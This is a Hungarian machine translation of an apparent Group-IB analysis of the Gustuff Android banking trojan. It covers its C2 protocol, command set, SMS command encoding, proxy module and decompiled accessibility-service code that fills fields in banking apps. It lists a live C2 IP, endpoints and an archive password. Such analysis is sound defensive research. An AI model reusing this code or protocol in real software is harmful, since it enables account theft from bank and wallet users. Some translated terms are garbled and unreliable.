Hogyan szedi ki az Android Gustuff trójai a fiókjaiból a krémet (Fiat és crypto).

Hogyan szedi ki az Android Gustuff trójai a fiókjaiból a krémet (Fiat és crypto).

Épp a minap Group-IB számolt be a mobil Android Trojan Gustuff tevékenységéről. Kizárólag a nemzetközi piacokon működik, a 100 legnagyobb külföldi bank ügyfeleit, a mobil 32-es kriptopénztárcák felhasználóit, valamint a nagy e-kereskedelmi erőforrásokat támadja meg. De a Gustuff fejlesztője egy oroszul beszélő kiberbűnöző Bestoffer becenéven. Egészen a közelmúltig úgy dicsérte a trójai programját, mint „egy komoly termék a tudással és tapasztalattal rendelkező emberek számára”.

A Group-IB rosszindulatú kódelemző szakértője Ivan Pisarev kutatásában részletesen beszél a Gustuff működéséről és annak veszélyeiről.

Kire vadászik Gustuff?

A Gustuff a rosszindulatú programok új generációjához tartozik, teljesen automatizált funkciókkal. A fejlesztő szerint a trójai az AndyBot kártevő új és továbbfejlesztett változata lett, amely 2017 novembere óta támad androidos telefonokat, és adathalász webes űrlapokon keresztül pénzt lop ismert nemzetközi bankok és fizetési rendszerek mobilalkalmazásainak álcázva. Bestoffer arról számolt be, hogy a Gustuff Bot bérleti ára havi 800 dollár volt.

A Gustuff minta elemzése kimutatta, hogy a trójai potenciálisan a legnagyobb bankok mobilalkalmazásait használó ügyfeleket célozza meg, mint például a Bank of America, a Bank of Scotland, a JPMorgan, a Wells Fargo, a Capital One, a TD Bank, a PNC Bank, valamint a kriptopénztárcákat. Bitcoin Wallet, BitPay, Cryptopay, Coinbase stb.

Az eredetileg klasszikus banki trójaiként készült Gustuff jelenlegi verziójában jelentősen kibővítette a lehetséges támadási célpontok listáját. A bankok, fintech cégek és kriptoszolgáltatások Android-alkalmazásai mellett a Gustuff a piactéri alkalmazások, online áruházak, fizetési rendszerek és azonnali üzenetküldők felhasználóit célozza meg. Különösen a PayPal, a Western Union, az eBay, a Walmart, a Skype, a WhatsApp, a Gett Taxi, a Revolut és mások.

Belépési pont: tömeges fertőzés számítása

A Gustuffot az Android okostelefonokba való behatolás „klasszikus” vektora jellemzi SMS-levelezéseken keresztül APK-kra mutató hivatkozásokkal. Ha egy Android-eszközt a szerver parancsára trójaival fertőz meg, a Gustuff tovább terjedhet a fertőzött telefon kapcsolati adatbázisán vagy a szerver adatbázisán keresztül. A Gustuff funkcióit tömeges fertőzésre és üzemeltetői üzletének maximális kihasználására tervezték - egyedülálló „automatikus betöltés” ​​funkcióval rendelkezik a legális mobilbanki alkalmazásokba és kriptopénztárcákba, amely lehetővé teszi a pénzlopás felgyorsítását és méretezését.

A trójairól készült tanulmány kimutatta, hogy az automatikus kitöltési funkciót az Accessibility Service, a fogyatékkal élők számára készült szolgáltatás segítségével valósították meg. A Gustuff nem az első trójai, amely sikeresen megkerüli az Android-szolgáltatást használó más alkalmazások ablakelemeivel való interakció elleni védelmet. Az akadálymentesítési szolgáltatás és az autótöltővel kombinált használata azonban még mindig meglehetősen ritka.

Az áldozat telefonjára való letöltést követően a Gustuff az akadálymentesítési szolgáltatás segítségével más alkalmazások ablakelemeivel (banki, kriptovaluta, valamint online vásárlási, üzenetküldési stb.) képes együttműködni, végrehajtva a támadók számára szükséges műveleteket. . Például a szerver parancsára egy trójai gombokat nyomhat, és megváltoztathatja a szövegmezők értékét a banki alkalmazásokban. Az akadálymentesítési szolgáltatás mechanizmusa lehetővé teszi a trójai számára, hogy megkerülje a bankok által a korábbi generációs mobil trójaiak elleni védekezésre használt biztonsági mechanizmusokat, valamint a Google által az Android operációs rendszer új verzióiban bevezetett biztonsági szabályzat változásait. Gustuff tehát „tudja, hogyan” kapcsolhatja ki a Google Protect védelmet: a szerző szerint ez a funkció az esetek 70%-ában működik.

Hogyan szedi ki az Android Gustuff trójai a fiókjaiból a krémet (Fiat és crypto).

A Gustuff hamis PUSH értesítéseket is megjeleníthet a legális mobilalkalmazások ikonjaival. A felhasználó a PUSH értesítésre kattint, és a szerverről letöltött adathalász ablakot lát, ahol megadja a kért bankkártya vagy kriptotárca adatait. Egy másik Gustuff forgatókönyvben megnyílik az az alkalmazás, amelynek nevében a PUSH értesítés megjelent. Ebben az esetben a rosszindulatú program az Accessibility Service-n keresztül a szervertől érkező parancsra kitöltheti egy banki alkalmazás űrlapmezőit csalárd tranzakció esetén.

A Gustuff funkcionalitása magában foglalja a fertőzött eszközről információk küldését a szerverre, SMS-üzenetek olvasásának/küldésének képességét, USSD-kérések küldését, SOCKS5 Proxy indítását, hivatkozás követését, fájlok (beleértve a dokumentumok fényképes szkennelését, képernyőképeket, fényképeket) küldését a szerverre. szervert, állítsa vissza az eszközt a gyári beállításokra.

Malware elemzés

Egy rosszindulatú alkalmazás telepítése előtt az Android operációs rendszer megjelenít egy ablakot a felhasználónak, amely tartalmazza a Gustuff által kért jogok listáját:

Hogyan szedi ki az Android Gustuff trójai a fiókjaiból a krémet (Fiat és crypto).
Az alkalmazás csak a felhasználó beleegyezése után kerül telepítésre. Az alkalmazás elindítása után a trójai egy ablakot jelenít meg a felhasználónak:

Hogyan szedi ki az Android Gustuff trójai a fiókjaiból a krémet (Fiat és crypto).
Ezután eltávolítja az ikonját.

A Gustuffot a szerző szerint az FTT csomagolója csomagolja. Az indítás után az alkalmazás rendszeresen kapcsolatba lép a CnC-kiszolgálóval, hogy parancsokat kapjon. Számos általunk vizsgált fájl IP-címet használt vezérlőszerverként 88.99.171[.]105 (a továbbiakban így fogjuk jelölni <%CnC%>).

Az indítás után a program üzeneteket küld a szervernek http://<%CnC%>/api/v1/get.php.

A válasz várhatóan JSON lesz a következő formátumban:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Az alkalmazás minden egyes elérésekor információt küld a fertőzött eszközről. Az üzenet formátuma lent látható. Érdemes megjegyezni, hogy a mezők Tele, külön-, alkalmazások и engedély – opcionális, és csak a CnC kérési parancsa esetén kerül elküldésre.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Konfigurációs adatok tárolása

A Gustuff a működés szempontjából fontos információkat egy preferenciafájlban tárolja. A fájlnév, valamint a benne lévő paraméterek neve az MD5 összegének a karakterláncból való kiszámításának eredménye 15413090667214.6.1<%name%>Ahol <%name%> — kezdeti névérték. A névgeneráló függvény Python értelmezése:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

A következőkben így fogjuk jelölni névgenerátor (bemenet).
Tehát az első fájlnév: nameGenerator("API_SERVER_LIST"), a következő nevekkel rendelkező értékeket tartalmazza:

Változó neve Érték
nameGenerator("API_SERVER_LIST") CnC-címek listáját tartalmazza tömb formájában.
nameGenerator("API_SERVER_URL") Tartalmazza a CnC címet.
névgenerátor("SMS_UPLOAD") A zászló alapértelmezés szerint be van állítva. Ha a zászló be van állítva, SMS üzeneteket küld a CnC-nek.
névgenerátor("SMS_ROOT_NUMBER") Telefonszám, amelyre a fertőzött eszköz által kapott SMS üzenetek elküldésre kerülnek. Az alapértelmezett érték null.
névgenerátor("SMS_ROOT_NUMBER_RESEND") A zászló alapértelmezés szerint törlődik. Ha telepítve van, amikor egy fertőzött eszköz SMS-t kap, a rendszer elküldi a gyökérszámra.
névgenerátor ("DEFAULT_APP_SMS") A zászló alapértelmezés szerint törlődik. Ha ez a jelző be van állítva, az alkalmazás feldolgozza a bejövő SMS-eket.
névgenerátor ("DEFAULT_ADMIN") A zászló alapértelmezés szerint törlődik. Ha a jelző be van állítva, az alkalmazás rendszergazdai jogokkal rendelkezik.
névgenerátor("DEFAULT_ACCESSIBILITY") A zászló alapértelmezés szerint törlődik. Ha a jelző be van állítva, a Kisegítő lehetőségek szolgáltatást használó szolgáltatás fut.
névgenerátor ("APPS_CONFIG") JSON-objektum, amely azon műveletek listáját tartalmazza, amelyeket akkor kell végrehajtani, amikor egy adott alkalmazáshoz társított akadálymentesítési eseményt aktiválnak.
névgenerátor ("APPS_INSTALLED") Tárolja az eszközre telepített alkalmazások listáját.
nameGenerator("IS_FIST_RUN") A zászló az első indításkor visszaáll.
névgenerátor("EGYEDI_ID") Egyedi azonosítót tartalmaz. A bot első indításakor jön létre.

A szerverről érkező parancsok feldolgozására szolgáló modul

Az alkalmazás a CnC szerverek címeit egy tömb formájában tárolja, amelyet kódol Bázis85 vonalak. A CnC szerverek listája a megfelelő parancs kézhezvételével módosítható, ebben az esetben a címek egy preferenciafájlban kerülnek tárolásra.

A kérésre válaszul a szerver parancsot küld az alkalmazásnak. Érdemes megjegyezni, hogy a parancsok és paraméterek JSON formátumban jelennek meg. Az alkalmazás a következő parancsokat tudja feldolgozni:

Csapat Leírás
előreStart Kezdje el elküldeni a fertőzött eszköz által kapott SMS üzeneteket a CnC szervernek.
előreStop Hagyja abba a fertőzött eszköz által kapott SMS üzenetek küldését a CnC-kiszolgálónak.
ussdRun USSD kérés végrehajtása. Az a szám, amelyre USSD-kérést kell küldenie, a „szám” JSON mezőben található.
SMS-t küldeni Küldjön egy SMS-t (ha szükséges, az üzenetet részekre osztja). Paraméterként a parancs egy JSON-objektumot vesz fel, amely a „to” mezőket tartalmazza – a célszámot és a „body” – az üzenet törzsét.
sendSmsAb Küldjön SMS-t (szükség esetén az üzenetet részekre bontja) mindenkinek, aki a fertőzött eszköz névjegyzékében szerepel. Az üzenetek elküldése közötti időköz 10 másodperc. Az üzenet törzse a „body” JSON mezőben található
sendSmsMass SMS üzenetek küldése (szükség esetén az üzenet részekre bontásra kerül) a parancsparaméterekben megadott elérhetőségekre. Az üzenetek elküldése közötti időköz 10 másodperc. Paraméterként a parancs egy JSON-tömböt (az „sms” mezőt) vesz fel, amelynek elemei a „to” mezőket - a célszámot és a „body” - az üzenet törzsét tartalmazzák.
changeServer Ez a parancs felvehet egy értéket az „url” kulccsal paraméterként – ekkor a bot megváltoztatja a nameGenerator(“SERVER_URL”) vagy „array” értékét – ekkor a bot a tömböt a nameGeneratorba (“API_SERVER_LIST”) írja be. Így az alkalmazás megváltoztatja a CnC szerverek címét.
adminNumber A parancsot úgy tervezték, hogy gyökérszámmal működjön. A parancs elfogad egy JSON-objektumot a következő paraméterekkel: „szám” – a nameGenerator(“ROOT_NUMBER”) módosítása a kapott értékre, „újraküldés” – nameGenerator módosítása („SMS_ROOT_NUMBER_RESEND”), „sendId” – elküldés a nameGeneratornak (“ROOT_NUMBER” ) egyéni azonosító.
információ frissítése Információk küldése a fertőzött eszközről a szervernek.
adat eltávolítás A parancs célja a felhasználói adatok törlése. Attól függően, hogy milyen néven indult el az alkalmazás, vagy az adatok teljesen törlődnek az eszköz újraindításával (elsődleges felhasználó), vagy csak a felhasználói adatok törlődnek (másodlagos felhasználó).
zokniStart Indítsa el a Proxy modult. A modul működését külön részben ismertetjük.
zokniStop Állítsa le a Proxy modult.
Link megnyitása Kövesse a linket. A hivatkozás a JSON-paraméterben, az „url” kulcs alatt található. Az „android.intent.action.VIEW” a hivatkozás megnyitására szolgál.
uploadAllSms Az eszköz által kapott összes SMS-üzenet elküldése a szervernek.
az összes fénykép feltöltése Képek küldése fertőzött eszközről egy URL-re. Az URL paraméterként érkezik.
fájl feltöltés Fájl küldése egy URL-re egy fertőzött eszközről. Az URL paraméterként érkezik.
uploadPhoneNumbers Telefonszámok küldése a névjegyzékből a szerverre. Ha az „ab” kulcsot tartalmazó JSON-objektumérték érkezik paraméterként, az alkalmazás megkapja a névjegyek listáját a telefonkönyvből. Ha egy „sms” kulcsú JSON-objektum érkezik paraméterként, az alkalmazás beolvassa a névjegyek listáját az SMS-üzenetek küldőitől.
változásArchívum Az alkalmazás letölti a fájlt a paraméterként megadott címről az „url” kulcs segítségével. A letöltött fájl „archive.zip” néven kerül mentésre. Az alkalmazás ezután kicsomagolja a fájlt, opcionálisan a „b5jXh37gxgHBrZhQ4j3D” archív jelszó használatával. A kicsomagolt fájlok a [külső tároló]/hgps könyvtárba kerülnek. Ebben a könyvtárban az alkalmazás webes hamisítványokat tárol (lásd alább).
cselekvések A parancsot úgy tervezték, hogy működjön együtt az Action Service szolgáltatással, amelyet egy külön szakasz ismertet.
teszt Semmittevés.
letöltés A parancs célja egy fájl letöltése egy távoli szerverről, és elmentése a „Letöltések” könyvtárba. Az URL és a fájlnév paraméterként jelenik meg, mezők a JSON-paraméterobjektumban, rendre: „url” és „fileName”.
eltávolítása Eltávolít egy fájlt a "Letöltések" könyvtárból. A fájlnév egy JSON-paraméterben található a „fileName” kulccsal. A szabványos fájlnév „tmp.apk”.
bejelentés Értesítés megjelenítése a felügyeleti szerver által meghatározott leírással és címszövegekkel.

Parancs formátum bejelentés:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

A vizsgált fájl által generált értesítés megegyezik a mezőben megadott alkalmazás által generált értesítésekkel app. Ha a mező értéke openApp — Igaz, értesítés megnyitásakor a mezőben megadott alkalmazás indul el app. Ha a mező értéke openApp - Akkor hamis:

  • Megnyílik egy adathalász ablak, amelynek tartalma letöltődik a könyvtárból <%külső tárhely%>/hgps/<%fájlnév%>
  • Megnyílik egy adathalász ablak, amelynek tartalma letöltődik a szerverről <%url%>?id=<%Bot azonosító%>&app=<%Alkalmazás neve%>
  • Megnyílik egy adathalász ablak, amely Google Play-kártyának álcázott, és a kártya adatainak megadására nyílik lehetőség.

Az alkalmazás bármely parancs eredményét elküldi a címre <%CnC%>set_state.php JSON-objektumként a következő formátumban:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Azon parancsok listája, amelyeket az alkalmazási folyamatok tartalmaznak akció. Parancs fogadásakor a parancsfeldolgozó modul hozzáfér ehhez a szolgáltatáshoz a kiterjesztett parancs végrehajtásához. A szolgáltatás elfogad egy JSON-objektumot paraméterként. A szolgáltatás a következő parancsokat tudja végrehajtani:

1. PARAMS_ACTION — ilyen parancs fogadásakor a szolgáltatás először a JSON paramétertől kapja meg a Type kulcs értékét, amely a következő lehet:

  • serviceInfo – az alparancs kulcsonként kapja meg az értéket a JSON paraméterből includeNotImportant. Ha a jelző True, az alkalmazás beállítja a jelzőt FLAG_ISOLATED_PROCESS az akadálymentesítési szolgáltatást használó szolgáltatáshoz. Így a szolgáltatás külön folyamatban indul el.
  • gyökér — az aktuálisan fókuszban lévő ablakkal kapcsolatos információk fogadása és elküldése a szervernek. Az alkalmazás az AccessibilityNodeInfo osztály segítségével szerez információkat.
  • admin — rendszergazdai jogok kérése.
  • késleltetés — az ActionsService felfüggesztése a „data” kulcs paraméterében megadott számú ezredmásodpercig.
  • ablakok — küldje el a felhasználó számára látható ablakok listáját.
  • telepíteni — telepítse az alkalmazást a fertőzött eszközre. Az archív csomag neve a „fileName” kulcsban található. Maga az archívum a Letöltések könyvtárban található.
  • globális – az alparancs az aktuális ablakból való navigálásra szolgál:
    • a Gyorsbeállítások menüben
    • ezelőtt
    • itthon
    • az értesítésekhez
    • a nemrég megnyitott alkalmazások ablakába

  • indít - indítsa el az alkalmazást. Az alkalmazás neve kulcsonkénti paraméterként érkezik dátum.
  • hangok — állítsa át a hangmódot csendre.
  • kinyit — teljes fényerőre kapcsolja a képernyő és a billentyűzet háttérvilágítását. Az alkalmazás ezt a műveletet a WakeLock segítségével hajtja végre, címkéként megadva az [Application label]:INFO karakterláncot.
  • engedélyOverlay — a funkció nincs implementálva (a parancs végrehajtására adott válasz: {"message":"Not support"} vagy {"message":"low sdk"})
  • gesztus — a funkció nincs implementálva (a parancs végrehajtására adott válasz: {"message":"Not support"}vagy {"message":"Low API"})
  • engedélyek — ez a parancs az alkalmazás engedélyeinek kéréséhez szükséges. A lekérdezés funkció azonban nincs megvalósítva, így a parancs értelmetlen. A kért jogok listája JSON-tömbként érkezik a „permissions” kulccsal. Standard lista:
    • android.permission.ACCESS_NETWORK_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • nyitva — adathalász ablak megjelenítése. A szervertől érkező paramétertől függően az alkalmazás a következő adathalász ablakokat jelenítheti meg:
    • Adathalász ablak megjelenítése, amelynek tartalma egy könyvtárban lévő fájlba van írva <%external directory%>/hgps/<%param_filename%>. Az ablakkal való felhasználói interakció eredménye a címre kerül elküldésre <%CnC%>/records.php
    • Mutasson egy adathalász ablakot, amelynek tartalma előre van töltve a címről <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Az ablakkal való felhasználói interakció eredménye a címre kerül elküldésre <%CnC%>/records.php
    • Google Play-kártyának álcázott adathalász ablak megjelenítése.

  • interaktív — a parancsot úgy tervezték, hogy az AcessibilityService használatával kölcsönhatásba lépjen más alkalmazások ablakelemeivel. A programban egy speciális szolgáltatást vezettek be az interakcióhoz. A vizsgált alkalmazás interakcióba léphet a Windows rendszerekkel:
    • Jelenleg aktív. Ebben az esetben a paraméter tartalmazza annak az objektumnak az azonosítóját vagy szövegét (nevét), amellyel kapcsolatba kell lépnie.
    • Látható a felhasználó számára a parancs végrehajtásakor. Az alkalmazás az ablakokat azonosító alapján választja ki.

    Miután megkapta a tárgyakat AccessibilityNodeInfo Az érdeklődésre számot tartó ablakelemeknél az alkalmazás a paraméterektől függően a következő műveleteket hajthatja végre:

    • fókusz – fókusz beállítása az objektumra.
    • kattintás – kattintás egy objektumra.
    • actionId — művelet végrehajtása azonosító alapján.
    • setText — egy objektum szövegének módosítása. A szöveg megváltoztatása kétféleképpen lehetséges: hajtson végre egy műveletet ACTION_SET_TEXT (ha a fertőzött eszköz Android-verziója fiatalabb vagy egyenlő NYALÓKA), vagy úgy, hogy egy karakterláncot helyez a vágólapra, és beilleszti egy objektumba (régebbi verziók esetén). Ezzel a paranccsal egy banki alkalmazás adatait módosíthatjuk.

2. PARAMS_ACTIONS - ugyanaz, mint a PARAMS_ACTION, csak egy JSON parancstömb érkezik.

Úgy tűnik, sok embert érdekel majd, hogyan néz ki egy másik alkalmazás ablakelemeivel való interakció funkciója. Ez a funkció a következőképpen valósul meg a Gustuffban:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Szövegcsere funkció:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Így a vezérlőszerver megfelelő konfigurációjával a Gustuff képes kitölteni a szöveges mezőket a banki alkalmazásban, és rákattintani a tranzakció befejezéséhez szükséges gombokra. A trójainak még csak be sem kell jelentkeznie az alkalmazásba – elég parancsot küldeni a PUSH értesítés megjelenítéséhez, majd megnyitni a korábban telepített banki alkalmazást. A felhasználó hitelesíti magát, ami után Gustuff meg tudja tölteni az autót.

SMS üzenet feldolgozó modul

Az alkalmazás eseménykezelőt telepít a fertőzött eszközre az SMS üzenetek fogadására. A vizsgált alkalmazás parancsokat tud fogadni a kezelőtől, amelyek az SMS üzenet szövegében érkeznek. A parancsok a következő formátumban érkeznek:

7!5=<%Base64 kódolt parancs%>

Az alkalmazás minden bejövő SMS-ben megkeresi a karakterláncot 7!5=, amikor a rendszer egy karakterláncot észlel, dekódolja a Base64 karakterláncát a 4-es eltolásnál, és végrehajtja a parancsot. A parancsok hasonlóak a CnC parancsokhoz. A végrehajtás eredménye ugyanarra a számra kerül elküldésre, amelyről a parancs érkezett. Válasz formátuma:

7*5=<„eredmény_kód parancs”%>%Base64 kódolása

Opcionálisan az alkalmazás minden beérkezett üzenetet elküldhet a gyökérszámra. Ehhez meg kell adni a root számot a preferenciafájlban, és be kell állítani az üzenetátirányítási jelzőt. A támadó telefonszámára SMS-üzenet érkezik a következő formátumban:

<%From szám%> - <%Idő, formátum: nn/MM/yyyy ÓÓ:pp:ss%> <%SMS body%>

Ezenkívül opcionálisan az alkalmazás üzeneteket küldhet a CnC-nek. Az SMS üzenet JSON formátumban kerül elküldésre a szervernek:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Ha a zászló fel van állítva névgenerátor ("DEFAULT_APP_SMS") – az alkalmazás leállítja az SMS-üzenet feldolgozását, és törli a bejövő üzenetek listáját.

Proxy modul

A vizsgált alkalmazás tartalmaz egy Backconnect Proxy modult (továbbiakban: Proxy modul), amelynek külön osztálya van, amely statikus mezőket tartalmaz konfigurációval. A konfigurációs adatok a mintában áttekinthető formában tárolódnak:

Hogyan szedi ki az Android Gustuff trójai a fiókjaiból a krémet (Fiat és crypto).

A Proxy modul által végrehajtott összes művelet fájlba van bejelentkezve. Ehhez az External Storage alkalmazás létrehoz egy „logs” nevű könyvtárat (a konfigurációs osztály ProxyConfigClass.logsDir mezője), amelyben a naplófájlok tárolódnak. A naplózás a következő nevű fájlokban történik:

  1. main.txt – a CommandServer nevű osztály munkája ebbe a fájlba van bejelentkezve. A következőkben az str karakterlánc ebbe a fájlba naplózását mainLog(str)-ként jelöljük.
  2. session-<%id%>.txt — ez a fájl egy adott proxy-munkamenethez társított naplóadatokat menti. A következőkben az str karakterlánc ebbe a fájlba naplózását sessionLog (str) néven jelöljük.
  3. szerver.txt – ez a fájl a fent leírt fájlokhoz írt összes adat naplózására szolgál.

Napló adatformátum:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

A Proxy modul működése során előforduló kivételek szintén egy fájlba kerülnek naplózásra. Ehhez az alkalmazás létrehoz egy JSON-objektumot a következő formátumban:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Ezután karakterlánc-reprezentációvá alakítja, és naplózza.

A Proxy modul a megfelelő parancs kézhezvétele után elindul. Amikor a Proxy modul indítására vonatkozó parancs érkezik, az alkalmazás elindítja a nevezett szolgáltatást Főszolgáltatás, amely a Proxy modul működésének irányításáért - elindítása és leállítása - felelős.

A szolgáltatás elindításának szakaszai:

1. Elindít egy időzítőt, amely percenként egyszer fut, és ellenőrzi a Proxy modul tevékenységét. Ha a modul nem aktív, akkor elindítja.
Az esemény indításakor is android.net.conn.CONNECTIVITY_CHANGE Elindul a Proxy modul.

2. Az alkalmazás létrehoz egy wake-lockot a paraméterrel PARTIAL_WAKE_LOCK és elfogja. Ez megakadályozza, hogy az eszköz CPU-ja alvó módba lépjen.

3. Elindítja a Proxy modul parancsfeldolgozási osztályát, először naplózza a sort mainLog("kiszolgáló indítása") и

Szerver::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

ahol proxy_cnc, command_port és proxy_port – a Proxy szerver konfigurációjából kapott paraméterek.

A parancsfeldolgozó osztályt hívják CommandConnection. Közvetlenül az indítás után hajtsa végre a következő műveleteket:

4. Csatlakozik a ProxyConfigClass.host: ProxyConfigClass.commandPort és oda küld adatokat a fertőzött eszközről JSON formátumban:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Hol:

  • id – azonosító, megpróbál egy értéket lekérni az „id” mezővel az „x” nevű Shared Preference fájlból. Ha ezt az értéket nem sikerült megszerezni, akkor újat generál. Így a Proxy modulnak saját azonosítója van, amely a Bot ID-hez hasonlóan generálódik.
  • imei – az eszköz IMEI-je. Ha hiba történt az érték megszerzése során, akkor e mező helyett hibaüzenet kerül kiírásra.
  • imsi — Az eszköz nemzetközi mobil-előfizetői azonosítója. Ha hiba történt az érték megszerzése során, akkor e mező helyett hibaüzenet kerül kiírásra.
  • modell – A végtermék végfelhasználó által látható neve.
  • gyártó — A termék/hardver gyártója (Build.MANUFACTURER).
  • androidVersion – "<%release_version%> (<%os_version%>),<%sdk_version%>" formátumú karakterlánc
  • ország — az eszköz aktuális helye.
  • A partnerId egy üres karakterlánc.
  • packageName – csomagnév.
  • networkType – az aktuális hálózati kapcsolat típusa (például: „WIFI”, „MOBIL”). Hiba esetén nullát ad vissza.
  • hasGsmSupport – igaz – ha a telefon támogatja a GSM-et, egyébként false.
  • simReady – SIM-kártya állapota.
  • simCountry - ISO országkód (a SIM-kártya szolgáltatója alapján).
  • networkOperator — operátor neve. Ha hiba történt az érték megszerzése során, akkor e mező helyett hibaüzenet kerül kiírásra.
  • simOperator — A szolgáltató neve (SPN). Ha hiba történt az érték megszerzése során, akkor e mező helyett hibaüzenet kerül kiírásra.
  • verzió - ez a mező a konfigurációs osztályban van tárolva; a bot tesztelt verzióinál ez „1.6” volt.

5. A kiszolgálótól érkező parancsok várakozási módjára vált. A szerverről érkező parancsok a következő formátumban érkeznek:

  • 0 offset – parancs
  • 1 offset – sessionId
  • 2 offset – hossz
  • 4 eltolás - adatok

Amikor megérkezik egy parancs, az alkalmazás naplózza:
mainLog("Fejléc { sessionId<%id%>], type[<%command%>], long [<%length%>] }")

A szerverről a következő parancsok lehetségesek:

Név parancs dátum Leírás
kapcsolatazonosító 0 Csatlakozási azonosító Hozzon létre egy új kapcsolatot
SLEEP 3 Time Szüneteltesse a Proxy modult
PING PONG 4 - PONG üzenet küldése

A PONG üzenet 4 bájtból áll, és így néz ki: 0x04000000.

Amikor a connectId parancs érkezik (új kapcsolat létrehozásához) CommandConnection létrehoz egy osztály példányát ProxyConnection.

  • A proxyzásban két osztály vesz részt: ProxyConnection и végén. Osztály létrehozásakor ProxyConnection csatlakozik a címhez ProxyConfigClass.host: ProxyConfigClass.proxyPort és a JSON objektum átadása:

 {
    "id":<%connectionId%>
}

